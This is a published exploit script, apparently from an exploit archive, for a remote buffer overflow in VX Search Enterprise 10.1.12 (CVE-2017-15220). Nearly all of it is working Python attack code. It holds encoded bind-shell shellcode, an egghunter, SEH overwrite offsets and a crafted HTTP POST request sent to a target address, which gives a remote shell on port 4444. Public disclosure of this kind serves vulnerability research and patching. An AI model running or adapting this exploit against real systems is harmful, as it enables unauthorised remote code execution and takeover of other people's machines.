VX Search Enterprise 10.1.12 Buffer Overflow

VX Search Enterprise version 10.1.12 suffers from a buffer overflow vulnerability.


MD5 | 8704dbbe7ff86399c978ea9369e2da32

#!/usr/bin/env python
# Exploit Title : VX Search Enterprise v10.1.12 Remote Buffer Overflow
# Exploit Author : Revnic Vasile
# Email : revnic[at]gmail[dot]com
# Date : 09-10-2017
# Vendor Homepage : http://www.flexense.com/
# Software Link : http://www.vxsearch.com/setups/vxsearchent_setup_v10.1.12.exe
# Version : 10.1.12
# Tested on : Windows 7 x86 Pro SP1
# Category : Windows Remote Exploit
# CVE : CVE-2017-15220


import socket
import os
import sys
import struct


# msfvenom -p windows/shell_bind_tcp LPORT=4444 EXITFUN=none -e x86/alpha_mixed -f c
shellcode = ("\x89\xe5\xdb\xd3\xd9\x75\xf4\x5f\x57\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x39\x6c\x68\x68\x6f\x72\x55\x50\x77\x70\x53\x30\x43\x50\x4d"
"\x59\x79\x75\x66\x51\x69\x50\x45\x34\x6c\x4b\x32\x70\x70\x30"
"\x4c\x4b\x32\x72\x64\x4c\x6e\x6b\x56\x32\x66\x74\x6e\x6b\x72"
"\x52\x75\x78\x36\x6f\x4e\x57\x33\x7a\x57\x56\x54\x71\x4b\x4f"
"\x4e\x4c\x65\x6c\x65\x31\x73\x4c\x44\x42\x56\x4c\x75\x70\x5a"
"\x61\x38\x4f\x36\x6d\x63\x31\x4f\x37\x5a\x42\x58\x72\x63\x62"
"\x70\x57\x6e\x6b\x42\x72\x44\x50\x4c\x4b\x73\x7a\x45\x6c\x6e"
"\x6b\x72\x6c\x44\x51\x72\x58\x78\x63\x33\x78\x35\x51\x48\x51"
"\x42\x71\x6c\x4b\x43\x69\x37\x50\x77\x71\x5a\x73\x4c\x4b\x67"
"\x39\x77\x68\x5a\x43\x66\x5a\x53\x79\x4e\x6b\x74\x74\x4c\x4b"
"\x43\x31\x39\x46\x70\x31\x6b\x4f\x6e\x4c\x39\x51\x78\x4f\x46"
"\x6d\x53\x31\x38\x47\x55\x68\x39\x70\x72\x55\x7a\x56\x33\x33"
"\x33\x4d\x4b\x48\x35\x6b\x61\x6d\x74\x64\x50\x75\x4a\x44\x31"
"\x48\x4c\x4b\x46\x38\x56\x44\x73\x31\x69\x43\x50\x66\x4c\x4b"
"\x46\x6c\x72\x6b\x4c\x4b\x73\x68\x67\x6c\x43\x31\x4b\x63\x4c"
"\x4b\x46\x64\x4e\x6b\x76\x61\x48\x50\x4c\x49\x71\x54\x34\x64"
"\x35\x74\x63\x6b\x71\x4b\x71\x71\x36\x39\x31\x4a\x46\x31\x39"
"\x6f\x6d\x30\x43\x6f\x73\x6f\x32\x7a\x6e\x6b\x74\x52\x68\x6b"
"\x6c\x4d\x43\x6d\x62\x48\x44\x73\x44\x72\x77\x70\x65\x50\x33"
"\x58\x73\x47\x30\x73\x56\x52\x43\x6f\x31\x44\x61\x78\x62\x6c"
"\x53\x47\x74\x66\x35\x57\x59\x6f\x4a\x75\x6f\x48\x4e\x70\x45"
"\x51\x47\x70\x57\x70\x65\x79\x6f\x34\x71\x44\x62\x70\x43\x58"
"\x46\x49\x4f\x70\x30\x6b\x53\x30\x59\x6f\x6a\x75\x72\x4a\x33"
"\x38\x53\x69\x46\x30\x4b\x52\x69\x6d\x73\x70\x32\x70\x51\x50"
"\x32\x70\x31\x78\x4a\x4a\x36\x6f\x49\x4f\x4b\x50\x39\x6f\x49"
"\x45\x4e\x77\x31\x78\x75\x52\x75\x50\x57\x61\x53\x6c\x6b\x39"
"\x7a\x46\x63\x5a\x54\x50\x71\x46\x32\x77\x43\x58\x6b\x72\x49"
"\x4b\x76\x57\x53\x57\x39\x6f\x38\x55\x46\x37\x42\x48\x38\x37"
"\x48\x69\x57\x48\x49\x6f\x59\x6f\x58\x55\x73\x67\x75\x38\x44"
"\x34\x68\x6c\x57\x4b\x69\x71\x59\x6f\x7a\x75\x51\x47\x6e\x77"
"\x50\x68\x50\x75\x72\x4e\x52\x6d\x51\x71\x6b\x4f\x4a\x75\x31"
"\x78\x52\x43\x70\x6d\x52\x44\x67\x70\x4f\x79\x78\x63\x71\x47"
"\x43\x67\x33\x67\x75\x61\x68\x76\x62\x4a\x55\x42\x70\x59\x56"
"\x36\x7a\x42\x59\x6d\x53\x56\x38\x47\x32\x64\x61\x34\x45\x6c"
"\x76\x61\x35\x51\x6c\x4d\x57\x34\x34\x64\x74\x50\x6b\x76\x43"
"\x30\x50\x44\x30\x54\x52\x70\x50\x56\x53\x66\x53\x66\x42\x66"
"\x46\x36\x70\x4e\x30\x56\x53\x66\x72\x73\x30\x56\x31\x78\x33"
"\x49\x38\x4c\x65\x6f\x4d\x56\x4b\x4f\x59\x45\x4b\x39\x79\x70"
"\x32\x6e\x73\x66\x33\x76\x6b\x4f\x30\x30\x31\x78\x65\x58\x6f"
"\x77\x67\x6d\x31\x70\x79\x6f\x38\x55\x6d\x6b\x6a\x50\x4e\x55"
"\x69\x32\x30\x56\x33\x58\x4c\x66\x4e\x75\x4d\x6d\x4d\x4d\x59"
"\x6f\x38\x55\x37\x4c\x57\x76\x33\x4c\x54\x4a\x6d\x50\x6b\x4b"
"\x4b\x50\x32\x55\x53\x35\x4d\x6b\x63\x77\x57\x63\x73\x42\x32"
"\x4f\x52\x4a\x37\x70\x51\x43\x4b\x4f\x58\x55\x41\x41")


buf_totlen = 5000
dist_seh = 2492
nseh = "\xeb\x06AA"
seh = 0x1011369e
nops = "\x90" * 10

egghunter = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"\x77\x30\x30\x74"
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")

egg = "w00tw00t"

payload = ""
payload += "A"*(dist_seh - len(payload))
payload += nseh
payload += struct.pack("<I", seh)
payload += nops
payload += egghunter
payload += egg
payload += shellcode
payload += "D"*(buf_totlen - len(payload))

buf = "POST /../%s HTTP/1.1\r\n" %payload
buf += "Host: 10.10.10.10\r\n"
buf += "User-Agent: Mozilla/5.0\r\n"
buf += "Connection: close\r\n"
buf += "\r\n"

print "Sending the payload!"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("10.10.10.10", 80))
expl.send(buf)
expl.close()


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